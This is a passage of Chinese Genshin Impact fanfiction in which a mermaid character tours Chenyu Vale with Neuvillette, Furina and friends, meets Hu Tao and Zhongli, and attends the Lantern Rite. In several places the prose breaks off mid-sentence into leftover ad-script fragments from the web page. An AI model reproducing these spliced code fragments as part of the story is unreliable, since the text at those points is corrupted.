海灯节一般是璃月冬日的节日,为纪念那些英勇的战士,也为庆祝一年结束新年伊始,平时再忙这会都得回老家过节。 派蒙在三碗不过岗听了会说书,吃了碗酒酿圆子垫垫肚,然后又拉着旅行者去万民堂吃饭,呼啦呼啦连干三大碗稻米饭。 卯师傅惊到了,连锅也忘了颠:“旅行者,你不给派蒙吃饭的吗?” “我才没有呢!”旅行者叫屈,“派蒙一个月光伙食费就有三十万摩拉,我从来没亏待她!” 话题主人公派蒙放下碗,满足的打了个饱嗝:“不是啦,因为在枫丹呆了大半年,吃的都是什么面包奶油酥皮点心和炖菜,我很想很想璃月热气腾腾的饭菜!有绝云椒椒,辣辣的,好吃!浑身都暖和起来啦!” 卯师傅怜爱万分:“多吃些多吃些,我再给你们加几道菜。好孩子,脸蛋都饿瘦了……” 旅行者举箸半晌都没能下筷:“哪里瘦了啊……” 娜维娅和卡吕普迪斯平时没少投喂这家伙,抱着睡觉肚子都是沉甸甸的! 璃月老乡们真的对孩子太宠爱了,生怕吃不够……甜蜜,太甜蜜了。 吃饭的时候听见邻桌客人们谈论今年的茶叶。 “不是我说,翘英庄那边交来的货也太不像样子了。可怜的一丁点,有去年的五成吗?” “老兄,没办法啦。谁不知道沉玉谷这些年水土莫名其妙的问题越来越多,茶叶早没之前香了……” “我有个在遗珑埠和记厅工作的同乡,他说出口贸易量也是一年比一年少。茶叶品质不行,又不能砸了招牌,只能越做越少。倒是次等茶多了许多。” “这年头生意真是不好做了……要是岩王爷还在,沉玉谷那边的问题肯定能解决吧,都不用闹得这么厉害。” “你——害……” 旅行者夹走最后一只水晶虾饺,在派蒙瞪大了眼睛注视下嗷呜一口吃掉,嚼嚼:“沉玉谷的茶叶问题,之前是不是听卡吕普迪斯说过?” 派蒙点头:“他和福勒依斯是好朋友,福勒依斯又住在沉玉谷,说的肯定不会错啦。” 那看来情况确实有些严重。 旅行者给派蒙碗里夹菜:“快吃吧,休息一天,我们明天就去沉玉谷看看。” 习惯了漂泊四方的旅人不会在意明日旅途需要提前准备什么,派蒙大口吃饭,脑袋点了又点。 从璃月港出发,北上途径望舒客栈,然后是轻策庄,再往西走一段路,肉眼可见青黄草地变得葱翠——显然雨水多,植被茂盛。 “喔哦~” 派蒙从高往低处看,之间巨大山谷山空云雾缭绕,奥藏山的仙鹤飞入云中不见,隐约听闻几声鹤唳雀鸣。 “人间仙境也不过如此,旅行者你说是吧……旅行者?”派蒙点的问题无人回应,她急忙扭头一看,哪还有身边人的影子! “旅行者!你跑哪里去啦!” 那嗓门实在是响亮,一时间飞鸟四散,走兽逃窜。 “卡吕普迪斯,不要睡懒觉了!陪我去遗珑埠逛街!” 福勒依斯来海底找朋友的时候,发现这家伙拖着尾巴躺在一张新的贝壳床上呼呼大睡——这次不是粉白色贝壳了,是粉紫色的。 人鱼的尾巴随着海波轻轻摇晃,偏偏尾巴都是主人仍在梦中酣睡。福勒依斯变成人后拽着他的肩膀使劲晃晃:“懒惰的家伙,不要再睡了。你脸都睡肿了!” “不信……”静原翻了个身,“我昨天半夜才把海底深处的裂隙补好,到现在睡了不到三小时……” 福勒依斯不为所动:“你坐轮椅上睡,我推着你坐船。” “这么急的吗……” “海灯节也就这几天的事了,现在遗珑埠街上全是来采买的人……寻芳斋新点心不想要了?门口全是排队的。” 静原一个闲鱼打挺坐起来,摸了把脸:“那走吧,我要吃新出的点心。” “也只有这个叫得动你了,懒鬼。” 俩人并肩窜出枫丹海,顺着大瀑布一路下游,速度快到不可思议。因此当格蕾丝蒂来找叔叔准备告诉他那维莱特大人约他大后天一起去沉玉谷旅游的时候,才发现叔叔已经窜没影子了。 在岸边变作人形后缓了缓,静原本来打算还是这样光着脚上岸的,直到福勒依斯指出璃月如今是冬季后,才怔怔的哦了一声。 “都怪沉玉谷四季流转不明显,春日常驻。” “你还怪上气候了?”福勒依斯给他理理衣襟,看着人模狗样的静原连声啧啧,“还是有几分姿色的。” “这是什么话,这是什么话!”穿上白色短靴的静原拦手招来了竹筏船工申请渡河,和福勒依斯一起坐上筏子后继续拌嘴,“这叫有几分姿色?要不是我心中只有枫丹海,我都想跟自己搞水仙了。” 福勒依斯装作鸡皮疙瘩起一地,搓搓手臂:“咦呃——真变态。” “福勒依斯,没眼光。” “卡吕普迪斯,真自恋。” 实际上福勒依斯很有眼光,静原也并不自恋,这俩见面不怼对方两句那真是浑身不舒坦,怼完就正常了。 尤其当静原碰着新鲜出炉的寻芳斋点心一口一口品尝的时候,福勒依斯看他最顺眼:“乖的嘞。” 静原哼了一声,和福勒依斯分完了那一包点心,又去酒楼吃饭。 “这次的点心内馅是梅花渍的,感觉蜂蜜放太多有点甜了。”静原嘴刁,“不如今年秋季限定。” 福勒依斯对点心没什么评价:“我这次点的绝云椒椒锅底和番茄菌菇锅底双拼,你多吃点。能把甜味压下去。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “等会回去还是买茶好月圆,抹茶蛋黄酥不愧是招牌,那维莱特都不嫌干巴了,能吃一块半……” 他俩边走边凑在一起嘀咕,单看蓝毛,和亲兄妹俩也没区别。福勒依斯算是这家酒楼的常客,因此当静原第一次来店里吃饭的时候,服务生特意备注这是大客户的兄长——静原视力好,瞥到的时候差点笑岔了气。 热腾腾的锅子煮开,下入自己喜欢的菜蔬和肉类,静原喜欢青菜豆腐菌菇,素锅基本是他动筷,福勒依斯虽然是纯水精灵,这几百年住沉玉谷馋肉馋狠了,肥牛肥羊框框下锅。这要是让以前的老同事洛蒂娅看见,不得惊掉下巴——幸好福勒依斯不怎么跟她联系。 最后挺着肚子瘫椅子上,等静原优雅擦擦嘴结账完带着她出去散步。 (不怪侍者把他认成哥哥) 然后就在遗珑埠大街上看见了金发的旅行者和他的小伙伴派蒙。 “卡吕普迪斯!福勒依斯!你们也在啊!”隔老远派蒙就奋力挥手呼喊,“下午好啊!” 福勒依斯真的羡慕她小小身体里蕴含的庞大能量,忍不住露出笑容来。 静原走近了些摸摸小家伙的头:“下午好,你们不是说在璃月港准备过节吗?” “接到了个委托,想着这几天就能弄完,就来啦。”派蒙嘿嘿笑,然后用力嗅嗅,“好香的味道,你们刚刚吃什么了?” “热锅子。”静原忍不住关心,“你们吃过午饭了吗?肚子饿不饿,要不要再吃一些垫垫肚子?我请客。” 福勒依斯:“别客气,他真的有钱没地方花。” 静原给了她一胳膊肘。 旅行者抱胸:“中午在野外做了顿饭,派蒙吃了三大碗。饿吗?” 派蒙嘿嘿低头:“我就问问嘛……” 虽然如此,静原还是给二人买了些沉玉谷特色小吃,茶熏乳鸽和茶叶蛋用油纸和干荷叶包得严严实实,寻芳斋这会人少了些,他又订了两份茶糕,让派蒙记得去取。 “卡吕普迪斯,你太宠着这家伙了。”旅行者无奈笑笑,“她现在胖了一圈啦。” “哪有!派蒙才不胖!”派蒙气得直跺脚,“卯师傅都说我瘦了!” “卯师傅那是长辈滤镜太厚。”旅行者抱着派蒙掂了掂,恶魔低语,“你已经变成实心的了,派蒙。” “真、真的吗?”派蒙惊恐,派蒙看向静原,“卡吕普迪斯,我真的胖了很多吗?” 静原可没有这么觉得,屈起手指藏起指甲碰了碰小家伙肉乎乎的脸蛋:“挺可爱的。小孩子这样好看。” 福勒依斯好意道:“没事的派蒙,你跟着旅行者四处游走长途奔波也很消耗体力,对储存些……也很好呀。” 派蒙听懂了,派蒙抱着油纸包汪的一声哭出来。 “我吃完这一次再也不加餐了!” 旅行者又开始不忍心了,明明希望派蒙健康的也是他:“晚上我给你做宵夜也不吃吗?肉酱意面哦。” 派蒙气得拿拳头锤了他一下:“旅行者你太坏了。不管了,吃完这顿再说。快去把委托做完吧。” 她还准备海灯节那天夜晚的大餐好好犒劳一番五脏庙呢。 52.沉玉谷一日游 静原和福勒依斯这几天在沉玉谷到处采买,掏钱掏得手软,山腰洞府里食物堆得满满当当,足够节日过后福勒依斯躺在床上一个月不用出门了。 静原戏言这是养猪。 枫丹冬日并不寒冷,节日和璃月并不重合,因此在听闻静原这几天频繁跑去隔壁准备年节的时候,几个熟人都干脆的拍板决定也去沉玉谷旅游。 这其中就包括那维莱特。 去沫芒宫接那维莱特下班的静原表情很是惊讶:“格蕾丝蒂告诉我你计划出游的时候,我都以为我听错了。” “我平日的确很少出门,恰逢今年枫丹解决了大危机,也想着出去看看。”那维莱特解释道,“和平的日子来之不易,就算是我也会想要好好享受的。” 静原点头表示明白:“一起去的还有芙宁娜对吧?可惜格蕾丝蒂最近忙着喂猫不舍得离开厄里那斯,不然就带上她们几个小朋友一起去了。” 美露莘们基本没有离开枫丹的,就算有,也只是很少很少的一部分。之前有个孩子跑去了纳塔,那维莱特担心得两天没睡好觉。 “沫芒宫事物繁多,我也只有半天假期。”说起这个,那维莱特也很苦恼,但他还没有掌握人类摸鱼的精髓,也做不到摸鱼,“可能吃过午饭就该回来了。” “假期短一些也没事,我带你看看沉玉谷的山水,还有以前给你带过的泉水的地方。”静原笑起来,“旅行者也在沉玉谷,他说他解决了沉玉谷近年的水土问题,你这次去正好尝尝水的味道和几十年前有没有区别。” 那维莱特开始期待起来了。 沫芒宫往下走一段路就是芙宁娜居住的独栋小公寓,那维莱特在楼下等到她的时候,芙宁娜面上还有一点拘谨,很快在静原的打岔下消散。 “你今天早饭吃的番茄肉酱空心粉?”静原嗅觉不错,“又是空心粉?” 芙宁娜尴尬挠头,颇有种吃速冻食品被家长抓爆的窘迫。她为自己辩解:“空心粉怎么啦?空心粉也很好,煮熟拌上加热的酱就可以吃了,多方便。” “娜维娅之前提到过,你已经连续吃了两个星期的空心粉。”静原感叹,“真厉害。” “……这是嘲笑吧?” “我可没有。”静原摇头又叹气,“你人类的躯体长期这样吃容易营养不良,皮肤状态也会变得糟糕喔。” 那维莱特此时开口:“我作证,卡吕普迪斯从前深受营养不良的苦楚,他完全知晓其中弊端。” 静原:“不要揭我短嘛。” 芙宁娜稀奇:“你也会营养不良吗?我以为人鱼身强体壮,根本不会和营养不良这个词沾边。” 从前芙宁娜便觉得卡吕普迪斯是枫丹仅次于那维莱特的最强,到现在也是如此。只知道他容易抑郁,并不知晓这鱼还有营养不良的挑食历史。 她那双异色瞳注视着那维莱特,满脸都写着快告诉我快告诉我。 那维莱特看了看身边的芙宁娜,又看了看另一边面带微笑的卡吕普迪斯,觉得后者态度应该是接受的,于是道:“卡吕普迪斯以前很挑食,他不喜欢水产,长期只食用海草汐藻以及初露之源,身体缺少必要营养,因此皮肤和骨骼都很脆弱。远不如现在强壮。” 那真是一段艰辛的岁月,那维莱特还未受邀进入枫丹廷时,每天都在苦恼要给挑嘴的小鱼找什么食物丰富一下食谱。哪怕进入枫丹廷,也隔三差五拖美露莘给他带去人类的食物,慢慢的才把挑嘴小鱼养大。 后来静原开始去沉玉谷旅游后,胃口才渐渐的变大,在众多美味食物选择面前,也显得没那么挑食了。 那维莱特讲起这些很是欣慰,有种吾儿长大的感觉。 和娜维娅,克洛琳德她们一起坐上船后,静原还在解释:“可是海鲜真的很腥啊,不管是鱼还是贝类都很腥,虾虽然好吃,可是长得丑还要剥壳很烦嘞。不如捞点海草汐藻填肚子。” 芙宁娜:“……你好懒呀。” 静原:“……空心粉。” 芙宁娜闭嘴:“不说了不说了。” 一进入沉玉谷地界,很明显就能感受到气候的不同。湿润,清凉,两岸的风徐徐的吹着,远山青翠,映照着河水也如碧玉一般。 那是和枫丹截然不同的美丽。 船在遗珑埠附近停靠,遗珑埠四处都生长着红枫,热烈如火,偏偏又有一种庄重感,像是璃月那些一袭红装的雍容美人。娜维娅对街头巷尾的小东西相当感兴趣,拉着克洛琳德和芙宁娜到处看看又摸摸,那维莱特和静原跟在后面当拎包小弟,倒也有意思。看见了用陶泥做小东西的摊子,他这么爱干净的龙竟然也兴致勃勃的摘下手套捏陶泥。 静原对着他捏出来的东西左看右瞅:“这是什么?” 那维莱特一本正经:“法典。” 静原沉默了一会,夸赞他:“不愧是你。” “你觉得送给莱欧斯利当伴手礼怎么样?”莱欧斯利因为身份的原因,没能加入这次出游,交到人类朋友的水龙很是惦念对方。 家里的小鱼拍拍他的肩膀,目光炯炯:“我觉得非常好。” 如果他不觉得你这是在讽刺他法律意识薄弱的话……莱欧斯利应该不会这么觉得。 那维莱特趁静原看别处的时候又捏了几个。 遗珑埠逛完,店家烧制陶泥还需要一段时间,他们坐着竹筏顺着河流往下,两岸猿声鹤唳不止,发现水畔竟然还生着莲叶与花。 芙宁娜:“真的是冬天吗?” 静原:“真的。不过这边水都是暖的。”前几天他还怕自己穿着清凉与周围格格不入,谁知道这些天忙上忙下采购热出一脑门汗,干脆把鞋也扔了光脚自在些。 竹筏穿过河中白壁玉珏,芙宁娜仰着头表示惊叹:“天哪……那得是魔神级别的手笔吧?” 静原:“不清楚,那玉五百年前就在这了。” 娜维娅兴致勃勃:“可以爬上去吗?我是说,允许人爬上去吗?” 静原:“应该可以。旅行者前两天还跟我说他爬过,不过我更推荐爬到附近山上然后用风之翼飞下来到玉珏顶部。” 卡洛琳德:“听上去是冒险家协会的人会有的作风。” 静原就笑。 那维莱特就盯着河水,静原坐在他旁边,连忙拦住了他的跃跃欲试:“这边经常有人游泳。” 所幸那维莱特对洗澡水还是没兴趣的,老老实实坐在竹筏上,听着船工唱着悠远的号子,顺顺平平的抵达了翘英庄。 翘英庄和遗珑埠又是不一样的风光。山坡上全是茶树,采茶女弯腰采摘鲜茶,然后送去镇上工坊揉制。柔柔羊在山坡上悠闲度日,嚼着甜甜花和青草,想来肉质一定肥美。 静原口水快流出来了。 那维莱特对于溪流泉水的兴趣远胜对风景的欣赏,静原一直盯着他,生怕这家伙一个不注意就钻哪里的水潭去了。 娜维娅和克洛琳德决定去爬山,静原塞了几瓶喷雾到她们手里:“虽然是冬日,但是蛇虫鼠蚁还是有在活动,喷在腿上和手臂上,预防虫蚁。不要钻草丛,不要下河,不要去洞穴,看见山上那些像虎一样的野兽不要靠近也不要拍照……啊,克洛琳德应该能拉住你。” 对于从师逐影猎人的克洛琳德来说,这些叮嘱没什么必要。不过她还是承这份情,向静原保证会看住娜维娅不要乱跑的。 娜维娅叉腰:“嘿,我又不是小孩子了。” 芙宁娜耸肩,和卡吕普迪斯相处久了的人类都会被他不自觉的当成小孩子看待,这也正常,对于长生种来说,人类这个年纪在他眼中可不就是幼崽吗? 她正这么想着,又见卡吕普迪斯转过头来。 “芙宁娜,不要站在水畔发呆。” “哦哦。”芙宁娜迅速往岸上多走了两步,然后解释道,“我有水系神之眼,不怕水的。” “你还是站在岸上吧,我不放心。”静原拦过她肩膀,“走,我带你去看花。” 他走了两步又扭头对盯着翘英庄树下大葫芦看的那维莱特喊:“走啦!” 那维莱特边走边说:“那个装置很奇妙,我一时半会还看不破内部构造……” “毕竟是璃月仙家做的,术业有专攻……快些快些,那里是我新发现的泉水。” “哦对了,今天怎么没看见福勒依斯。”芙宁娜想起那个总是陪着卡吕普迪斯的纯水精灵,本以为这次出来玩能看见她呢。 “福勒依斯去璃月港了,因为我不在外面过夜休息,她又要看几天后的烟火表演,我俩行程排不到一起去。”静原对此做出解释,“我过几天再去璃月港。” 他也要看烟花!!! 取走了泉水后,那维莱特假期基本也就结束,他和几位道别然后乘坐竹筏先一步北上回枫丹,顺便带走了几位女士采购的大包小包。 静原:“能者多劳嘛。” 那维莱特:“……我认可这个观点。” 那维莱特永远信任小鱼带孩子的本事,放心的将枫丹的姑娘们交给他。静原一边守着在水畔思考新剧本的芙宁娜,一边留心附近山上的动静。 但愿不要听到哭喊……有克洛琳德的话,最好也听不到野兽的哀嚎…… 但他没想到会在这里和璃月人产生购物以外的交道。 那是个扎着双马尾,有着奇特梅花瞳孔的年轻女孩子,看上去和芙宁娜外表一般大,浑身上下写着古灵精怪几个字,事实上也确实如此。先是好奇静原怎么不穿鞋,后来又好奇芙宁娜为什么能站在水面上。 当然,这姑娘还是记得礼节的:“我是胡桃,璃月港往生堂第七十七代堂主,找我购买丧葬大礼包打九九折哦。” 芙宁娜不确定的看向高个子的静原:“这是推销吗?” 静原沉思:“别出新颖的方式,我竟然开始好奇了。” “喂,不要在莫名其妙的地方发散你的好奇心呀。”芙宁娜低声控诉,又被胡桃突然靠近的那双梅花瞳吓了一跳。 胡桃往后靠了些:“嘀嘀咕咕的说什么呢……别害怕别害怕,我不吃人哟。” 芙宁娜躲在了静原身后,对方的高个子在此时能给她安全感:“我可没害怕。你,你正经点说话。” 静原这家伙一本正经:“抱歉,我家大小姐有些害羞,胡桃小姐太过热情了。” 就像是一只过于活泼好动的黑猫,带来意外与惊喜。 看样子更多是惊吓。 芙宁娜:“喂!什么大小姐!不要给自己加戏啊卡吕普迪斯你这个坏家伙——” “之外还有人对我说卡吕普迪斯你最好啦~” “你——哼!” 胡桃笑起来:“你俩可真有意思,第一次来璃月玩吗?我可以给你们当向导哦。” “谢谢胡桃小姐的好意,但我们今天就会回去了。如今正在等待同伴从景点处游玩归来。” 胡桃又开始扯东扯西的交流,让静原回答了她之前的问题,比如为什么静原不穿鞋走路不怕痛,芙宁娜是怎么站在水上的。 得知静原是水族后惊讶竟然不如知晓芙宁娜水神之眼附加功效后的惊讶来的多。 静原:why 胡桃振振有词:“那可是在水上行走的能力唉,多炫酷啊。”而且璃月仙家与长生种众多,只是水族的话倒也不足为奇啦。 “是吧,我也这么觉得。”芙宁娜忍不住骄傲起来,“他还总管着我不让我踩水,明明就很安全嘛。” 静原摊手。 “堂主,我来晚了,应该没打搅你们的好兴致吧。” 来者是个长发低束的青年男子,漂亮如同金彩琉璃一般的丹凤眼,比起外貌,更吸引人的是他身上自带的一种如磐石一般沉稳的岁月感。 总结就是,很有安全感,很可靠的样子。 “你泡个茶也太久了……我来介绍一下,这二位是枫丹来的旅客,卡吕普迪斯先生和芙宁娜小姐。这位是我们往生堂的钟离客卿,相貌堂堂一表人才能文能武,上知天文地理,下通人文古今。”胡桃这样子更像推销了,拉着自家客卿大谈特谈,颇有种炫耀自家也有可靠男子的既视感。 被秀了一脸的芙宁娜忍不住比较。 卡吕普迪斯也相貌堂堂,武就不用说了,能打吞星之鲸。忧郁美男子,那文采也差不到哪里去。活了那么久,对枫丹历史也是了如指掌,对枫丹海更是尽在掌握——完全不输阵啊! 芙宁娜不自觉的挺起胸膛:“真不错,璃月地大物博人才辈出,想来再正常不过了。” 静原与那位钟离客卿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对视一眼,都从彼此眼中看到了善意与无奈。 干脆和钟离先生聊一会天吧。 静原:希望钟离不要讨厌我身上自带的鱼腥味T▽T 是的,他知道钟离是谁——没道理记得莱欧斯利记得娜维娅记得克洛琳德却不记得钟离吧? “卡吕普迪斯先生?”钟离看出他有些走神,试探性唤了一声。 “叫我静源就好,静水之源。”静原感觉自己鸡皮疙瘩有点起来了,虽然一条鱼没有鸡皮疙瘩,“这是我给自己取的璃月名字,既在璃月,就以此称呼我吧。” 被您叫尊称感觉有点折寿哈。 好在钟离不在意他这一点点纠结,从善如流道:“这是个好名字,和你很相符。” 静原开始扯其他话题,比如问钟离是否知晓璃月港今年的海灯节主题。 “几日后我打算去璃月港看烟火,想着入乡随俗,了解一下今年的变化。”毕竟福勒依斯对这些不了解,她只想看人类热热闹闹的玩,自己坐在旁边大吃特吃就行——很好满足的一只纯水精灵。 但静原出于一些情节,总是渴望了解更多的。 钟离来得正是时候,他对这些如数家珍侃侃而谈,引经据典,偏偏还能让静原这个外国人听懂。一番长篇大论下来,不仅静原听得心满意足,钟离自己也有几分尽兴。 教会外国人理解璃月文化总归是更有成就感一些。 芙宁娜对这些又有点兴趣,凑在一旁听完突然觉得还是钟离强一些。毕竟自家的卡吕普迪斯对于枫丹历史向来要多简单有多简单的描述,把各方势力拉锯说成菜市场砍价一般平铺直叙寡淡无味。 静原:菜市场砍价可不寡淡。 芙宁娜:重点是这个吗? 静原可不在意这些,他清楚自己在钟离面前就是个千岁出头的小年轻,甚至不如有亲儿子别称的魈上仙年纪大。那有什么好自得的?不如老实听对方讲授。 胡桃对钟离的“念叨”完全免疫,看见旅行者这个老伙计和两位枫丹丽人一并走来后才提起兴致。 “哟,旅行者,这些天怎么样?” “挺好的。”旅行者言简意赅,“没想到你们会认识。” 芙宁娜:“才认识不久,不过卡吕普迪斯和这位钟离先生很有话聊。” 胡桃装作伤心的样子:“难道我和你没话聊吗?” “不不不,我觉得我们也有话聊,真的。”芙宁娜给她骗过去,急忙安慰。 派蒙:“可怜的芙宁娜被玩弄于鼓掌之间呢。” 旅行者:“这个词不是这么用的吧……” 娜维娅正在给静原看她们拍的照片:“的确见到了卡吕普迪斯你说的那种像虎而非虎的野兽,我太好奇了,克洛琳德不允许我靠近,就离得很远拍了一张就一张……你看,多可爱。” 原谅静原对这种和隐山猊兽同源所生的野兽敬谢不敏——使用风水双元素能把他也打痛好吗?要不是福勒依斯和隐山猊兽关系还不错,他来沉玉谷这么多次也得被这些小家伙找麻烦。 钟离赞许:“这位小姐胆量过人。” 静原无奈:“胆子也太大了。”这些猊兽排斥人类,能被娜维娅隔着老远拍一张不知道是哪根筋搭错了还是这姑娘运气好得吓人。 不过拍都拍完了,又确实没遇到危险,静原简单唠叨了几句就放过她了。在看见娜维娅对克洛琳德挤眉弄眼得意后,又是一番无奈叹气。 这样大的孩子逗着没意思,又不安分,偏偏没有遇到危险,想念叨也说不了什么——愁人啊。 钟离只是微笑,对静原发出邀请:“如果静源小友计划去璃月港,几日后可来往生堂寻我,我做你的向导,如何?” 胡桃:“为什么是小友?” 静原:“当然十分愉快,那就这么定好了,我会来找你的。” 钟离一面解释他虚长对方几岁叫一声小友也不为过,一面微笑应对明显有些激动的静原。 这让芙宁娜叹为观止。 克洛琳德:“这就是璃月人的本事啊。” 看看,都给卡吕普迪斯钓成翘嘴了。 静原:那可是钟离!钟离邀请你你能不翘嘴吗?我要是璃月人现在已经激动得晕过去了,幸好我不是。哦,我家那维莱特和他还有些渊源,我这叫打入敌人内部!懂不懂? 克洛琳德不懂。 派蒙倒是很高兴静原要来璃月港看烟花,虽然对方和钟离计划出游让她多多少少对静原的荷包感到了一丝担忧。不过想到福勒依斯说他有钱没地方花,想来应该不会被坑得太厉害。 毕竟钟离只是偶尔忘带钱,他自己还是会记账往生堂的。 派蒙收起了那几分担心。 乘船回到枫丹,静原先去枫丹廷和欧庇克莱歌剧院,把买来的点心小吃分给执勤工作的美露莘们,坚守在岗位的美露莘的那一份会有同伴帮忙带到手中。 大家对于叔叔的小甜点礼物表示了极大的欢迎,亲昵的蹭蹭叔叔,然后吃着美味的糕点,觉得明天也一定是个平和安定的好日子。 在歌剧院后面临海的长台上看见了那维莱特,静原知道这是在等他,好奇的过去:“礼物都送出去了?” “还有一份。” “那是给我的?” “对。”那维莱特把礼物送给静原,“今天做了陶艺制品,法典送给莱欧斯利,勺子送给旅行者,这个摆件送给你。” 枫丹亲近之人送礼是可以当面拆开礼物看到底是什么的。静原看到了那尊摆件,不过他两个手掌,是一条漂亮的小鱼,涂上了几种不同程度的蓝色釉彩,点缀白色,烧制后的成品相当惊艳。 静原笑起来:“原来我在你眼里是这种小鱼啊,我很满意这个礼物……不过为什么是闭着眼睛的?” 那维莱特说:“因为璃月有画龙点睛的故事,对创造物点上眼睛在璃月看来是一件很严肃庄重的事情……而且我没有调出合适的湖蓝色,想着不如做成闭着眼睛的模样。看上去就像在休息一般。” 眼睛对于面前的小鱼来说是个很危险的部位,那维莱特出于一些考虑,还是选择了闭眼的方案。 不管怎样,他看上去喜欢就好。 那维莱特觉得自己送礼还是很有水平的。 53.人间烟火 临近中午来到璃月港的静原先是去往生堂找到了钟离,请他在万民堂吃了一顿午餐。然后顺着石板长街从吃虎岩穿过小桥到绯云坡,钟离向好奇的外邦人介绍了他目之所及的器具古玩的来历,介绍每一种小吃美味的创造历史,帮助静原一点点揭开璃月这个古老国度深邃历史的面纱一角。 老实说,很奇妙的感觉。 “一点点的了解一个国家的文化。”静原捏着一颗璀璨的夜明珠,这种珍贵的发光宝石枫丹基本不产,他看着很是新奇,有点想买,“对我来说,这种经历倒是头一次。” 钟离微笑:“感觉如何呢?” “很有意思。”静原偏头问他,“钟离先生觉得这夜明珠买下来可还划算?” 三十五万摩拉一颗的价格,说贵倒也不贵。 “这一匣子夜明珠都是近年从层岩外围开采出来,经过匠人打磨而成的,胜在成色透亮莹润如月辉,若是三十五万摩拉一颗,以普遍理性而言的确有些昂贵。依我看,三十万摩拉一颗倒还公允。” 明星斋老板星稀点头:“钟离先生不愧是行家,产地、工艺、品质无一出错。这位小哥若是打算出手,三十万摩拉一颗我也卖。” 静原:“啊……” 这一匣子夜明珠都是莹润的白色系宝石,蛋白与淡白,有些还是青白,静原瞧着都很漂亮。 “那这一匣子我都要了。”静原数了数,也才九颗,“老板,还有多的吗?品质和这些一样的话我也要了。” 星稀:“的确还有十来颗,冒昧询问,您购买这么多夜明珠,是要用来做什么呢?夜明珠并没有外界虚传的那般有药用的神奇价值啊。” 之前的确有外国客人不知从哪听说璃月的一些宝石玉石磨粉冲水喝有延年益寿的功效——吓得总务司紧急辟谣并且加大力度捉拿造谣者。 星稀也有点怕。 “别担心,我没那么笨。”静原笑了笑,“家里有许多小姑娘,喜欢打弹珠,做手工,或者用漂亮的石头装饰屋子,我看这些夜明珠很合适,买回去给她们玩而已。” 钟离:“阁下的确很疼爱家中晚辈……恕我冒昧,之前还以为阁下是想在家做珠玉垂帘……” “家里有啊。”静原眼皮都不眨一下,看过星稀给出的另外两匣子宝珠后爽快付款,当然不是现金,到时候明星斋拿着付款账单去枫丹银行分行取钱就行,“枫丹海从来不缺珍珠。” “钟离先生喜欢珍珠吗?我家中有许多,粉色金色黑色的也有,喜欢的话下次带来送你……” “……倒也不必。” 他俩顺着明星斋继续往前走,基本上钟离夸什么东西一句静原顺手就买了,家里用得上都就留着,用不上都就留着送钟离了。 钟离:这孩子莫不是冤大头当习惯了? 静原:赶紧把钱花出去,不然枫丹银行行长又要找我聊投资和储蓄利息了。 因为静原几百年都是弄的活期储蓄,又有那维莱特和沫芒宫财政部时不时盯几眼账户,银行根本没有那个胆用他的钱做风投。前段时间他在枫丹廷露面后,行长闻着味就找上门跟他谈这些东西了…… 静原不想烦恼这些东西,干脆花出去。所以在璃月过个节他是一天不带歇气的买买买。前几天都想替芙宁娜娜维娅克洛琳德她们几个买单了,结果这群姑娘死活不肯。 静原摊手。 福勒依斯:都说了他是真的有钱烧得慌。 钟离后半段路都没怎么夸什么东西工艺好了。 “前面就是北港所在。天色渐暗,灯展的场会也布置好了,距离烟火秀开始还有半个时辰的时间,可要先去吃晚饭?” “好啊,钟离先生想吃什么?” “钟某皆可,不过小友即是枫丹人,想来喜爱海产,不如去新月轩?这顿钟某请客,略尽地主之谊。”没道理隔壁小朋友送他这多礼物,他没点表示。 “不不不不要海产。”静原连连摇头摆手拒绝,“我闻不得海产腥味,就吃璃月本地特色菜,内陆产物就好。” 钟离当时浑身上下都透露出那真是太好了的讯息。 “哟!客卿!还有静源先生!”胡桃蹦跳着从街后走过来,“你俩还没吃晚饭吧?那正好,跟我去琉璃亭吃吧。熟人局,我做东,静源先生也别拘谨。” 胡桃小嘴叭叭,不由分说的拉着钟离和静原就往琉璃亭走:“好客卿,知道你想单独请人吃饭,但大过节的,一起热闹热闹多好,静源先生想听什么故事我也能讲嘛。你说对不对?有没有道理?” 静原推脱不过,只得点头。 “这就对啦,走吧,今天本堂主可是大出血了,吃完饭就去看烟火,包不会让你失望的。” 静原只是笑。 说实话胡桃组的饭局挺正常,算上钟离这个下属和静原这个游客,另外的也只是往生堂今年不打算回家的两个员工。 应该是往生堂留守成员团建。 气氛很融洽,因为胡桃在场,假惺惺的场面话没人说,都是些吉利的祝贺,庆贺新的一年到来。胡桃挑话题拉家常,很有主人家风范的劝静原吃菜吃菜。 “嚯,我都打算让服务员送刀叉来了,静源先生居然会用筷子,那真是太好啦。”胡桃看他的使用姿势还挺地道,“一看就没少吃璃月菜。” 静原点头:“璃月菜好吃。我从前常在沉玉谷旅游,久而久之久学会了筷子如何使用。” 知道他活得久的胡桃和钟离对这个解释表示接受。谁知道静原这辈子压根就没学过,直接就会呢。 他埋头苦吃,干锅腊肉香辣,油爆双脆爽口,红烧肉圆醇香,金丝虾球酥的掉渣,考虑到口味问题,清淡的清炒虾仁和厚重的蟹黄豆腐也上了桌,八宝福禄鸭更是得见厨师真功夫,腌笃鲜文火慢炖,看钟离样子显然这一锅味道他也是满意的。翡玉什锦袋和来来菜因为距离静原太远他就没有吃,最后以一人一盏琼玉果汤作为收场。 其实就是提瓦特版冰糖炖雪梨啦,只是把雪梨换成了更为常见的日落果。 静原吃得太满足了。 离席后他就不跟钟离他们一块了,表示自己要去找朋友,钟离自然点头。 北港太多人了,他站在长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 街高处,瞧见了人群中的福勒依斯。对方显然也看见了他,抱着一油纸袋就挤过来了。 “哎哟别踩我脚!” “别挤别挤,站不住了。” 时不时能听到人群中传来这样的声音。 “尝尝,热乎的红油小包子。我刚刚在摊上买的。”福勒依斯热情分享,“太好吃了,这是我买的第二笼了。” “你没吃晚饭吗?”静原戴了手套捏着个包子就往嘴里塞,热辣的肉馅与丰盈汁水让他忍不住眯起眼睛。 “吃了啊。但是小吃不占肚子。”福勒依斯显然是个行家,“我还买了山楂消食,你尝一口不?” 那赫然是一串亮晶晶的冰糖葫芦。 静原摇头:“刚刚吃的太饱,真的塞不下了。走,我们到高处去看。” “我提前订好了位置,走吧我带你去。” “这么贴心?” “哼哼,你当我这几天待在璃月港是白待的吗?” 